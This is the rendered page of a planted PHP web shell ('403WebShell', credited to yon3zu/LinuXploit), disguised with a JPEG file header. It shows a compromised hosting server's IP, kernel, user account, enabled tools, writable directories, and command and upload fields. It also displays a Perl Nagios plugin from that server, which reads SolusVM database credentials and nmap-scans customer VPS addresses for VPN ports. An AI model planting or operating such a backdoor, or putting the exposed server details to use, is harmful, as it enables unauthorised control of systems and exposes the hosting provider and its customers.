����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.117.241.170
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/extra/check_vpn_kvm
#!/usr/bin/env perl

use extreme;
use Carp;
use File::Slurp;

use DBI;


my @incidents;
my $exit_code = 0;
my $svm_conf = read_file '/usr/local/solusvm/includes/solusvm.conf';
my %svm_db;
( $svm_db{name}, $svm_db{user}, $svm_db{pass}, $svm_db{host}, undef )
  = split ':', $svm_conf;

# connect to solusvm master Database
my $dsn = "DBI:mysql:$svm_db{'name'}:$svm_db{'host'}";
my $dbh = DBI->connect( $dsn, $svm_db{'user'}, $svm_db{'pass'} );

# get ips and nodes all KVM VPS in Russia from master Database
my $sth
  = $dbh->prepare(
    'SELECT ipaddresses.ipaddress, nodes.hostname FROM vservers, nodes, ipaddresses WHERE ipaddresses.vserverid = vservers.vserverid AND vservers.nodeid = nodes.nodeid AND nodes.country = \'Russia\' AND nodes.type = \'kvm\';'
  ) or die "prepare statement failed: $dbh->errstr()";
$sth->execute or die "execution failed: $dbh->errstr()";
my $ipaddrs = $sth->fetchall_hashref('ipaddress');
delete $_->{ipaddress} for values $ipaddrs->%*;

# Define the ports to scan 
my $ports = '1194,1723,500,1701,50,4500,9201';

# Give iplist from hash and run scanner
my $iplist = join (" ", keys $ipaddrs->%*);
my @data = portscan( $iplist, $ports );

# output the scanner result
my $incs = processing_output (@data);
if ($incs) {
    $exit_code=1;
    for my $ip ( keys $incs->{Hosts}->%* ) {
        my $out_ports;
        if (!$incs->{Hosts}->{$ip}->{o_ports}) {
            $out_ports = "open or filtered: " . $incs->{Hosts}->{$ip}->{of_ports};
        }
        elsif (!$incs->{Hosts}->{$ip}->{of_ports}) {
            $out_ports = "open: " . $incs->{Hosts}->{$ip}->{o_ports}
        }
        else {
            $out_ports = "open: " . $incs->{Hosts}->{$ip}->{o_ports} . "; " . "open or filtered: " . $incs->{Hosts}->{$ip}->{of_ports};
        }
        push @incidents, "$ip\: \[$out_ports\]";
    }
    say join( "\n", @incidents);
    exit $exit_code;
}
else {
    say 'OK';
    exit $exit_code;
}

 
sub portscan {
    my ( $ip, $ports )= @_;
    my $nmap = "/usr/bin/nmap";
    my $nmap_options = "-oG - --open -sU -T4 ";
    if (defined $ports){
        $nmap_options .= "-p " . $ports;
    }
    my $scan = `$nmap $nmap_options $ip`;
    my @res = split("\n", $scan);
    my @opens = grep (m/\/open\/|\/open\|/, @res);
    return @opens;
}

sub processing_output (@data) {
    my $out;
    foreach (@data) {
        my @out_o_ports;
        my @out_of_ports;
        my ( $host, $port ) = split( "\t", $_ );
        ( undef, $host ) = split /\s/, $host;
        $port =~ s/Ports: //;
        for my $port_line ( split /,\s+/, $port ) {
            my ( $port_num, $port_state, $port_proto, undef, $port_service )
              = ( split /\//, $port_line );
            my $out_port_line
              = $port_num . "/" . $port_proto . "\($port_service\)";
            push @out_o_ports, $out_port_line
              if $port_state eq 'open';
            push @out_of_ports, $out_port_line
              if $port_state eq 'open|filtered';
        }
        $out->{Hosts}->{$host}->{o_ports}  = join ", ", @out_o_ports;
        $out->{Hosts}->{$host}->{of_ports} = join ", ", @out_of_ports;
    }
    return $out;
}

Youez - 2016 - github.com/yon3zu
LinuXploit